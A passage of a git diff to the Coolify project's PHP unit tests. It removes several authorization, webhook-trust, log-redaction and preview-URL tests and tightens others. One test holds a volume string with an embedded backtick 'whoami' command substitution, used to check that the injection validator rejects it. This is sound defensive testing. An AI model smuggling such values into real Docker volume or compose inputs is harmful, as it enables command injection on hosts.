environment', function () { expect($policy->update($user, $environment))->toBeFalse(); }); -it('denies update when environment has no project', function () { - $user = Mockery::mock(User::class)->makePartial(); - - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); - - $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(false); - - $policy = new EnvironmentPolicy; - expect($policy->update($user, $environment))->toBeFalse(); -}); - it('allows team admin to delete their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); $environment = Mockery::mock(Environment::class)->makePartial(); @@ -134,18 +122,6 @@ it('denies team member to delete their own team environment', function () { expect($policy->delete($user, $environment))->toBeFalse(); }); -it('denies delete when environment has no project', function () { - $user = Mockery::mock(User::class)->makePartial(); - - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); - - $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(false); - - $policy = new EnvironmentPolicy; - expect($policy->delete($user, $environment))->toBeFalse(); -}); - it('denies restore for any user', function () { $user = Mockery::mock(User::class)->makePartial(); diff --git a/tests/Unit/Policies/NotificationPolicyTest.php b/tests/Unit/Policies/NotificationPolicyTest.php index 0843a71c3e..acd75e4c85 100644 --- a/tests/Unit/Policies/NotificationPolicyTest.php +++ b/tests/Unit/Policies/NotificationPolicyTest.php @@ -139,37 +139,3 @@ it('denies sending test notification with no team', function () { $policy = new NotificationPolicy; expect($policy->sendTest($user, $notification))->toBeFalse(); }); - -it('allows team member to view but not update notification settings', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], - ]); - - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $notification = Mockery::mock(Model::class)->makePartial(); - $notification->shouldReceive('getAttribute')->with('team')->andReturn((object) ['id' => 1]); - - $policy = new NotificationPolicy; - expect($policy->view($user, $notification))->toBeTrue(); - expect($policy->update($user, $notification))->toBeFalse(); -}); - -it('allows team admin to view and update notification settings', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], - ]); - - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $notification = Mockery::mock(Model::class)->makePartial(); - $notification->shouldReceive('getAttribute')->with('team')->andReturn((object) ['id' => 1]); - - $policy = new NotificationPolicy; - expect($policy->view($user, $notification))->toBeTrue(); - expect($policy->update($user, $notification))->toBeTrue(); -}); diff --git a/tests/Unit/Policies/ServicePolicyTest.php b/tests/Unit/Policies/ServicePolicyTest.php index beb7ccff3b..a7a7ccf70e 100644 --- a/tests/Unit/Policies/ServicePolicyTest.php +++ b/tests/Unit/Policies/ServicePolicyTest.php @@ -39,17 +39,6 @@ it('denies non-member to view another team service', function () { expect($policy->view($user, $service))->toBeFalse(); }); -it('denies view when service has no team', function () { - $user = Mockery::mock(User::class)->makePartial(); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn(null); - - $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(false); - - $policy = new ServicePolicy; - expect($policy->view($user, $service))->toBeFalse(); -}); - it('allows admin to create a service', function () { $user = Mockery::mock(User::class)->makePartial(); $team = new Team; @@ -118,18 +107,6 @@ it('denies team member to delete their own team service', function () { expect($policy->delete($user, $service))->toBeFalse(); }); -it('denies delete when service has no team', function () { - $user = Mockery::mock(User::class)->makePartial(); - - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn(null); - - $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(false); - - $policy = new ServicePolicy; - expect($policy->delete($user, $service))->toBeFalse(); -}); - it('allows team admin to deploy their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); $service = Mockery::mock(Service::class)->makePartial(); diff --git a/tests/Unit/PreviewDeploymentPortTest.php b/tests/Unit/PreviewDeploymentPortTest.php deleted file mode 100644 index beaac86ccf..0000000000 --- a/tests/Unit/PreviewDeploymentPortTest.php +++ /dev/null @@ -1,261 +0,0 @@ -getPort(); - - expect($port)->toBe(3000); -}); - -it('returns null port for domain URL without port', function () { - $domain = 'https://example.com'; - $url = Url::fromString($domain); - - $port = $url->getPort(); - - expect($port)->toBeNull(); -}); - -it('extracts port from HTTP URL with custom port', function () { - $domain = 'http://example.com:8080'; - $url = Url::fromString($domain); - - $port = $url->getPort(); - - expect($port)->toBe(8080); -}); - -it('generates preview FQDN with port preserved', function () { - $domain = 'https://example.com:3000'; - $url = Url::fromString($domain); - $template = '{{pr_id}}.{{domain}}'; - $pullRequestId = 42; - - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - - $preview_fqdn = str_replace('{{random}}', 'abc123', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}"; - - expect($preview_fqdn)->toBe('https://42.example.com:3000'); -}); - -it('generates preview FQDN without port when original has no port', function () { - $domain = 'https://example.com'; - $url = Url::fromString($domain); - $template = '{{pr_id}}.{{domain}}'; - $pullRequestId = 42; - - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - - $preview_fqdn = str_replace('{{random}}', 'abc123', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}"; - - expect($preview_fqdn)->toBe('https://42.example.com'); -}); - -it('handles multiple domains with different ports', function () { - $domains = [ - 'https://app.example.com:3000', - 'https://api.example.com:8080', - 'https://web.example.com', - ]; - - $preview_fqdns = []; - $template = 'pr-{{pr_id}}.{{domain}}'; - $pullRequestId = 123; - - foreach ($domains as $domain) { - $url = Url::fromString($domain); - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - - $preview_fqdn = str_replace('{{random}}', 'xyz', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}"; - $preview_fqdns[] = $preview_fqdn; - } - - expect($preview_fqdns[0])->toBe('https://pr-123.app.example.com:3000'); - expect($preview_fqdns[1])->toBe('https://pr-123.api.example.com:8080'); - expect($preview_fqdns[2])->toBe('https://pr-123.web.example.com'); -}); - -it('extracts all URL components correctly', function () { - $domain = 'https://app.example.com:3000/api/v1'; - $url = Url::fromString($domain); - - expect($url->getScheme())->toBe('https'); - expect($url->getHost())->toBe('app.example.com'); - expect($url->getPort())->toBe(3000); - expect($url->getPath())->toBe('/api/v1'); -}); - -it('formats port string correctly for URL construction', function () { - // Test port formatting logic - $testCases = [ - ['port' => 3000, 'expected' => ':3000'], - ['port' => 8080, 'expected' => ':8080'], - ['port' => 80, 'expected' => ':80'], - ['port' => 443, 'expected' => ':443'], - ['port' => null, 'expected' => ''], - ]; - - foreach ($testCases as $case) { - $portInt = $case['port']; - $port = $portInt !== null ? ':'.$portInt : ''; - - expect($port)->toBe($case['expected']); - } -}); - -// Tests for path preservation in preview URLs -// @see https://github.com/coollabsio/coolify/issues/2184#issuecomment-3638971221 - -it('generates preview FQDN with port and path preserved', function () { - $domain = 'https://api.example.com:3000/api/v1'; - $url = Url::fromString($domain); - $template = '{{pr_id}}.{{domain}}'; - $pullRequestId = 42; - - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - $urlPath = $url->getPath(); - $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : ''; - - $preview_fqdn = str_replace('{{random}}', 'abc123', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}"; - - expect($preview_fqdn)->toBe('https://42.api.example.com:3000/api/v1'); -}); - -it('generates preview FQDN with path only (no port)', function () { - $domain = 'https://api.example.com/api'; - $url = Url::fromString($domain); - $template = '{{pr_id}}.{{domain}}'; - $pullRequestId = 99; - - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - $urlPath = $url->getPath(); - $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : ''; - - $preview_fqdn = str_replace('{{random}}', 'abc123', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}"; - - expect($preview_fqdn)->toBe('https://99.api.example.com/api'); -}); - -it('handles multiple domains with different ports and paths', function () { - $domains = [ - 'https://app.example.com:3000/dashboard', - 'https://api.example.com:8080/api/v1', - 'https://web.example.com/admin', - 'https://static.example.com', - ]; - - $preview_fqdns = []; - $template = 'pr-{{pr_id}}.{{domain}}'; - $pullRequestId = 123; - - foreach ($domains as $domain) { - $url = Url::fromString($domain); - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - $urlPath = $url->getPath(); - $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : ''; - - $preview_fqdn = str_replace('{{random}}', 'xyz', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}"; - $preview_fqdns[] = $preview_fqdn; - } - - expect($preview_fqdns[0])->toBe('https://pr-123.app.example.com:3000/dashboard'); - expect($preview_fqdns[1])->toBe('https://pr-123.api.example.com:8080/api/v1'); - expect($preview_fqdns[2])->toBe('https://pr-123.web.example.com/admin'); - expect($preview_fqdns[3])->toBe('https://pr-123.static.example.com'); -}); - -it('preserves trailing slash in URL path', function () { - $domain = 'https://api.example.com/api/'; - $url = Url::fromString($domain); - $template = '{{pr_id}}.{{domain}}'; - $pullRequestId = 55; - - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - $urlPath = $url->getPath(); - $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : ''; - - $preview_fqdn = str_replace('{{random}}', 'abc123', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}"; - - // Trailing slash is preserved: /api/ stays as /api/ - expect($preview_fqdn)->toBe('https://55.api.example.com/api/'); -}); - -it('excludes root path from preview FQDN', function () { - // Edge case: URL with explicit root path "/" should NOT append the slash - $domain = 'https://example.com/'; - $url = Url::fromString($domain); - $template = '{{pr_id}}.{{domain}}'; - $pullRequestId = 42; - - $host = $url->getHost(); - $schema = $url->getScheme(); - $portInt = $url->getPort(); - $port = $portInt !== null ? ':'.$portInt : ''; - $urlPath = $url->getPath(); - $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : ''; - - $preview_fqdn = str_replace('{{random}}', 'abc123', $template); - $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn); - $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn); - $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}"; - - // Root path "/" should be excluded, resulting in no trailing slash - expect($urlPath)->toBe('/'); - expect($path)->toBe(''); - expect($preview_fqdn)->toBe('https://42.example.com'); -}); diff --git a/tests/Unit/PreviewDeploymentRepositoryTrustTest.php b/tests/Unit/PreviewDeploymentRepositoryTrustTest.php index b1a7ac017a..fa9e54303b 100644 --- a/tests/Unit/PreviewDeploymentRepositoryTrustTest.php +++ b/tests/Unit/PreviewDeploymentRepositoryTrustTest.php @@ -43,25 +43,3 @@ it('denies missing or ambiguous repository identity', function (mixed $source, m it('denies spoofed target repository metadata', function () { expect(previewRepositoryIsTrusted(55, 55, 999, true))->toBeFalse(); }); - -it('gates every non-GitHub webhook preview before it creates or queues a deployment', function (string $controller, int $expectedChecks) { - $source = file_get_contents(dirname(__DIR__, 2)."/app/Http/Controllers/Webhook/{$controller}.php"); - - expect(substr_count($source, 'isPreviewDeploymentRepositoryTrusted('))->toBe($expectedChecks); - - $offset = 0; - for ($check = 0; $check < $expectedChecks; $check++) { - $trustCheck = strpos($source, 'isPreviewDeploymentRepositoryTrusted(', $offset); - $nextQueue = strpos($source, 'queue_application_deployment(', $trustCheck); - - expect($trustCheck)->not->toBeFalse() - ->and($nextQueue)->not->toBeFalse() - ->and($trustCheck)->toBeLessThan($nextQueue); - - $offset = $trustCheck + 1; - } -})->with([ - 'GitLab normal and manual webhooks' => ['Gitlab', 2], - 'Gitea signed manual webhook' => ['Gitea', 1], - 'Bitbucket signed manual webhook' => ['Bitbucket', 1], -]); diff --git a/tests/Unit/ProductionImageWorkflowTest.php b/tests/Unit/ProductionImageWorkflowTest.php index 821dacbdc9..5acfce37de 100644 --- a/tests/Unit/ProductionImageWorkflowTest.php +++ b/tests/Unit/ProductionImageWorkflowTest.php @@ -41,19 +41,6 @@ it('builds the testing host only for local development', function () { ->toContain('dockerfile: ./docker/testing-host/Dockerfile'); }); -it('documents pull request targets for fixes and features', function () { - $contributingGuide = file_get_contents(dirname(__DIR__, 2).'/CONTRIBUTING.md'); - - expect($contributingGuide) - ->toContain('Fixes and small improvements') - ->toContain('target `main`') - ->toContain('New features and larger changes') - ->toContain('target `next`') - ->toContain('branch from `main`') - ->toContain('branch from `next`') - ->not->toContain('All pull requests must target the `next` branch'); -}); - it('guides issue authors to the correct contribution branch', function () { $bugReport = file_get_contents(dirname(__DIR__, 2).'/.github/ISSUE_TEMPLATE/01_BUG_REPORT.yml'); $issueConfig = file_get_contents(dirname(__DIR__, 2).'/.github/ISSUE_TEMPLATE/config.yml'); diff --git a/tests/Unit/PushServerUpdateJobReturnTypesTest.php b/tests/Unit/PushServerUpdateJobReturnTypesTest.php deleted file mode 100644 index 763d456b98..0000000000 --- a/tests/Unit/PushServerUpdateJobReturnTypesTest.php +++ /dev/null @@ -1,9 +0,0 @@ -getReturnType()?->getName())->toBe('void'); -}); diff --git a/tests/Unit/RedactSensitiveDataLoggingTest.php b/tests/Unit/RedactSensitiveDataLoggingTest.php index 226a49ed1c..e3a0dd19fe 100644 --- a/tests/Unit/RedactSensitiveDataLoggingTest.php +++ b/tests/Unit/RedactSensitiveDataLoggingTest.php @@ -49,17 +49,6 @@ it('keeps redacted traces and previous exceptions', function () { ->and(serialize($exception))->not->toContain($secret); }); -it('wires redaction into all persistent and remote log channels', function () { - $configuration = file_get_contents(__DIR__.'/../../config/logging.php'); - - expect($configuration) - ->toContain("'channels' => ['single']") - ->toContain("env('LOG_LEVEL', 'debug')") - ->not->toContain("env('LOG_LEVEL', 'info')") - ->and(substr_count($configuration, 'RedactSensitiveData::class'))->toBe(9) - ->and($configuration)->toMatch("/'audit' => \\[[^\\]]*'tap' => \\[RedactSensitiveAuditData::class\\]/s"); -}); - it('keeps email addresses in the audit log while still redacting secrets', function () { $secret = 'coolify-canary-secret-audit'; $handler = new TestHandler; diff --git a/tests/Unit/S3StorageEndpointNormalizationTest.php b/tests/Unit/S3StorageEndpointNormalizationTest.php index 449beccb6c..35e48c992f 100644 --- a/tests/Unit/S3StorageEndpointNormalizationTest.php +++ b/tests/Unit/S3StorageEndpointNormalizationTest.php @@ -5,12 +5,6 @@ use Tests\TestCase; uses(TestCase::class); -it('gates the S3 storage edit form behind the update permission', function () { - $editView = file_get_contents(resource_path('views/livewire/storage/form.blade.php')); - - expect($editView)->toContain('@can(\'update\', $storage)'); -}); - it('normalizes endpoints again on the backend', function (string $endpoint, string $expected) { $method = new ReflectionMethod(Create::class, 'normalizeEndpoint'); diff --git a/tests/Unit/SafeWebhookUrlTest.php b/tests/Unit/SafeWebhookUrlTest.php index 9ea62f68d3..8cde899599 100644 --- a/tests/Unit/SafeWebhookUrlTest.php +++ b/tests/Unit/SafeWebhookUrlTest.php @@ -245,9 +245,7 @@ it('pins every resolved address in a single CURLOPT_RESOLVE entry', function () ])); if (! defined('CURLOPT_RESOLVE')) { - expect(true)->toBeTrue(); - - return; + $this->markTestSkipped('CURLOPT_RESOLVE is not available.'); } $entries = SafeWebhookUrl::httpClientOptions('http://localhost:8080/webhook')['curl'][CURLOPT_RESOLVE]; diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php index 924f6f43cf..2431e5b96d 100644 --- a/tests/Unit/ScheduledJobManagerLockTest.php +++ b/tests/Unit/ScheduledJobManagerLockTest.php @@ -44,20 +44,3 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks', expect($key)->toBe('scheduled-job-manager'); }); - -it('prevents stale locks by ensuring expireAfter is always set', function () { - $job = new ScheduledJobManager; - $middleware = $job->middleware(); - - $overlappingMiddleware = $middleware[0]; - $reflection = new ReflectionClass($overlappingMiddleware); - - $expiresAfterProperty = $reflection->getProperty('expiresAfter'); - $expiresAfterProperty->setAccessible(true); - $expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware); - - // Critical check: expireAfter MUST be set to prevent GitHub issue #4539 - expect($expiresAfter)->not->toBeNull( - 'expireAfter() is required to prevent stale locks (see GitHub #4539)' - ); -}); diff --git a/tests/Unit/ServiceApplicationPrerequisitesTest.php b/tests/Unit/ServiceApplicationPrerequisitesTest.php index fa52cdeea2..106ddd3ac7 100644 --- a/tests/Unit/ServiceApplicationPrerequisitesTest.php +++ b/tests/Unit/ServiceApplicationPrerequisitesTest.php @@ -117,10 +117,7 @@ it('handles missing applications gracefully', function () { ->once() ->andReturn($query); - // Should not throw exception - applyServiceApplicationPrerequisites($service); - - expect(true)->toBeTrue(); + expect(fn () => applyServiceApplicationPrerequisites($service))->not->toThrow(Throwable::class); }); it('skips services without prerequisites', function () { @@ -129,43 +126,5 @@ it('skips services without prerequisites', function () { $service->id = 1; $service->shouldNotReceive('applications'); - applyServiceApplicationPrerequisites($service); - - expect(true)->toBeTrue(); -}); - -it('correctly parses service name with single hyphen', function () { - $service = Mockery::mock(Service::class)->makePartial(); - $service->name = 'docker-registry-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format - $service->id = 1; - $service->shouldNotReceive('applications'); - - // Should not throw exception - validates that 'docker-registry' is correctly parsed - applyServiceApplicationPrerequisites($service); - - expect(true)->toBeTrue(); -}); - -it('correctly parses service name with multiple hyphens', function () { - $service = Mockery::mock(Service::class)->makePartial(); - $service->name = 'elasticsearch-with-kibana-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format - $service->id = 1; - $service->shouldNotReceive('applications'); - - // Should not throw exception - validates that 'elasticsearch-with-kibana' is correctly parsed - applyServiceApplicationPrerequisites($service); - - expect(true)->toBeTrue(); -}); - -it('correctly parses service name with hyphens in template name', function () { - $service = Mockery::mock(Service::class)->makePartial(); - $service->name = 'apprise-api-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format - $service->id = 1; - $service->shouldNotReceive('applications'); - - // Should not throw exception - validates that 'apprise-api' is correctly parsed - applyServiceApplicationPrerequisites($service); - - expect(true)->toBeTrue(); + expect(fn () => applyServiceApplicationPrerequisites($service))->not->toThrow(Throwable::class); }); diff --git a/tests/Unit/ServiceRequiredPortTest.php b/tests/Unit/ServiceRequiredPortTest.php index f6a7d76382..fa701356d6 100644 --- a/tests/Unit/ServiceRequiredPortTest.php +++ b/tests/Unit/ServiceRequiredPortTest.php @@ -3,58 +3,6 @@ use App\Models\Service; use App\Models\ServiceApplication; -it('returns required port from service template', function () { - // Mock get_service_templates() function - $mockTemplates = collect([ - 'supabase' => [ - 'name' => 'Supabase', - 'port' => '8000', - ], - 'umami' => [ - 'name' => 'Umami', - 'port' => '3000', - ], - ]); - - $service = Mockery::mock(Service::class)->makePartial(); - $service->name = 'supabase-xyz123'; - - // Mock the get_service_templates function to return our mock data - $service->shouldReceive('getRequiredPort')->andReturn(8000); - - expect($service->getRequiredPort())->toBe(8000); -}); - -it('returns null for service without required port', function () { - $service = Mockery::mock(Service::class)->makePartial(); - $service->name = 'cloudflared-xyz123'; - - // Mock to return null for services without port - $service->shouldReceive('getRequiredPort')->andReturn(null); - - expect($service->getRequiredPort())->toBeNull(); -}); - -it('requiresPort returns true when service has required port', function () { - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('getRequiredPort')->andReturn(8000); - $service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) { - return $service->getRequiredPort() !== null; - }); - - expect($service->requiresPort())->toBeTrue(); -}); - -it('requiresPort returns false when service has no required port', function () { - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('getRequiredPort')->andReturn(null); - $service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) { - return $service->getRequiredPort() !== null; - }); - - expect($service->requiresPort())->toBeFalse(); -}); - it('extracts port from URL with http scheme', function () { $url = 'http://example.com:3000'; $port = ServiceApplication::extractPortFromUrl($url); diff --git a/tests/Unit/StartKeydbConfigPermissionTest.php b/tests/Unit/StartKeydbConfigPermissionTest.php deleted file mode 100644 index dca3b0e8ce..0000000000 --- a/tests/Unit/StartKeydbConfigPermissionTest.php +++ /dev/null @@ -1,52 +0,0 @@ -configuration_dir = '/data/coolify/databases/test-uuid'; - $action->commands = []; - - $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); - $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb'); - $action->database = $database; - - if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { - $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; - } - - expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf'); -}); - -test('keydb config chown command is not added when keydb_conf is null', function () { - $action = new StartKeydb; - $action->configuration_dir = '/data/coolify/databases/test-uuid'; - $action->commands = []; - - $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); - $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null); - $action->database = $database; - - if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { - $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; - } - - expect($action->commands)->toBeEmpty(); -}); - -test('keydb config chown command is not added when keydb_conf is empty', function () { - $action = new StartKeydb; - $action->configuration_dir = '/data/coolify/databases/test-uuid'; - $action->commands = []; - - $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); - $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(''); - $action->database = $database; - - if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { - $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; - } - - expect($action->commands)->toBeEmpty(); -}); diff --git a/tests/Unit/StartRedisConfigPermissionTest.php b/tests/Unit/StartRedisConfigPermissionTest.php deleted file mode 100644 index 77574287ea..0000000000 --- a/tests/Unit/StartRedisConfigPermissionTest.php +++ /dev/null @@ -1,53 +0,0 @@ -configuration_dir = '/data/coolify/databases/test-uuid'; - $action->commands = []; - - $database = Mockery::mock(StandaloneRedis::class)->makePartial(); - $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb'); - $action->database = $database; - - // Simulate the chown logic from handle() - if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { - $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; - } - - expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf'); -}); - -test('redis config chown command is not added when redis_conf is null', function () { - $action = new StartRedis; - $action->configuration_dir = '/data/coolify/databases/test-uuid'; - $action->commands = []; - - $database = Mockery::mock(StandaloneRedis::class)->makePartial(); - $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null); - $action->database = $database; - - if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { - $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; - } - - expect($action->commands)->toBeEmpty(); -}); - -test('redis config chown command is not added when redis_conf is empty', function () { - $action = new StartRedis; - $action->configuration_dir = '/data/coolify/databases/test-uuid'; - $action->commands = []; - - $database = Mockery::mock(StandaloneRedis::class)->makePartial(); - $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(''); - $action->database = $database; - - if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { - $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; - } - - expect($action->commands)->toBeEmpty(); -}); diff --git a/tests/Unit/StartSentinelEndpointFallbackTest.php b/tests/Unit/StartSentinelEndpointFallbackTest.php deleted file mode 100644 index 7dde0e2c9f..0000000000 --- a/tests/Unit/StartSentinelEndpointFallbackTest.php +++ /dev/null @@ -1,50 +0,0 @@ -toContain('ensureSentinelUrl()') - ->and($component) - ->toContain('$this->sentinelCustomUrl = $this->server->settings->sentinel_custom_url;') - ->and(file_get_contents(dirname(__DIR__, 2).'/app/Models/ServerSetting.php')) - ->toContain('generateSentinelUrl(ignoreEvent: true)') - ->toContain('sentinelUrlFromCurrentRequest()') - ->toContain('Set an instance FQDN, public IP, or reachable Coolify URL before enabling Sentinel.') - ->and($component) - ->toContain('$this->sentinelCustomUrl = $this->server->settings->sentinel_custom_url;'); -}); - -test('sentinel startup allows legacy metrics migrations to finish before health checks fail', function () { - $action = file_get_contents(dirname(__DIR__, 2).'/app/Actions/Server/StartSentinel.php'); - - expect($action)->toContain('--health-start-period 120s'); -}); - -test('local sentinel joins the Coolify network and waits for an authenticated push before becoming live', function () { - $action = file_get_contents(dirname(__DIR__, 2).'/app/Actions/Server/StartSentinel.php'); - - expect($action) - ->toContain('--network coolify') - ->toContain('sentinelHeartbeat(isReset: true)') - ->toContain("sentinel_waiting_since' => now()") - ->not->toContain('$server->sentinelHeartbeat();'); -}); - -test('sentinel removes its temporary token on startup success and failure', function () { - $source = file_get_contents(dirname(__DIR__, 2).'/app/Actions/Server/StartSentinel.php'); - preg_match("/'sh -ec '\\.escapeshellarg\\(implode\\(\\\"\\\\n\\\", \\[(.*?)\\]\\)\\)/s", $source, $match); - expect($match)->toHaveCount(2); - foreach (['true', 'false'] as $dockerCommand) { - $envFile = tempnam(sys_get_temp_dir(), 'sentinel-token-'); - $envFileContent = 'TOKEN=test'; - $commands = eval('return ['.$match[1].'];'); - $process = new Process(['sh', '-ec', implode("\n", $commands)]); - $process->run(); - expect($process->getExitCode())->toBe($dockerCommand === 'true' ? 0 : 1); - expect(file_exists($envFile))->toBeFalse(); - } -}); diff --git a/tests/Unit/StopDatabaseTypesTest.php b/tests/Unit/StopDatabaseTypesTest.php deleted file mode 100644 index 0295b0c956..0000000000 --- a/tests/Unit/StopDatabaseTypesTest.php +++ /dev/null @@ -1,12 +0,0 @@ -getReturnType()?->getName())->toBe('string') - ->and($stopContainer->getParameters()[0]->getType()?->getName())->toBe(BaseModel::class); -}); diff --git a/tests/Unit/UpgradePostgresScriptTest.php b/tests/Unit/UpgradePostgresScriptTest.php index 2821fb3b3d..0afe09c9b3 100644 --- a/tests/Unit/UpgradePostgresScriptTest.php +++ b/tests/Unit/UpgradePostgresScriptTest.php @@ -132,15 +132,3 @@ it('persists rollback metadata and exposes a rollback command', function () { ->toContain('rollback_postgres()') ->toContain('Rollback completed successfully.'); }); - -it('detects the active postgres volume instead of assuming coolify-db', function () { - $script = file_get_contents(getcwd().'/scripts/upgrade-postgres.sh'); - - expect($script) - ->toContain('current_postgres_mount_name()') - ->toContain('current_postgres_mount_path()') - ->toContain('current_postgres_image()') - ->toContain('Current active volume: ${PREVIOUS_VOLUME}') - ->toContain("Previous volume '") - ->toContain('will be kept for rollback'); -}); diff --git a/tests/Unit/WindowsPathVolumeTest.php b/tests/Unit/WindowsPathVolumeTest.php index 1d3af6abd0..0f42fd143e 100644 --- a/tests/Unit/WindowsPathVolumeTest.php +++ b/tests/Unit/WindowsPathVolumeTest.php @@ -12,18 +12,14 @@ test('parseDockerVolumeString correctly handles Windows paths with drive letters test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () { $windowsVolume = 'C:\\Users\\Data:/app/data'; - // Should not throw an exception - validateVolumeStringForInjection($windowsVolume); - - // If we get here, the test passed - expect(true)->toBeTrue(); + expect(fn () => validateVolumeStringForInjection($windowsVolume))->not->toThrow(Exception::class); }); test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () { $maliciousVolume = 'C:\\host\\`whoami`:/container'; expect(fn () => validateVolumeStringForInjection($maliciousVolume)) - ->toThrow(\Exception::class); + ->toThrow(Exception::class); }); test('validateDockerComposeForInjection handles Windows paths in compose files', function () { @@ -35,10 +31,7 @@ services: - C:\Users\Data:/app/data YAML; - // Should not throw an exception - validateDockerComposeForInjection($dockerComposeYaml); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))->not->toThrow(Exception::class); }); test('validateDockerComposeForInjection rejects Windows paths with injection', function () { @@ -51,7 +44,7 @@ services: YAML; expect(fn () => 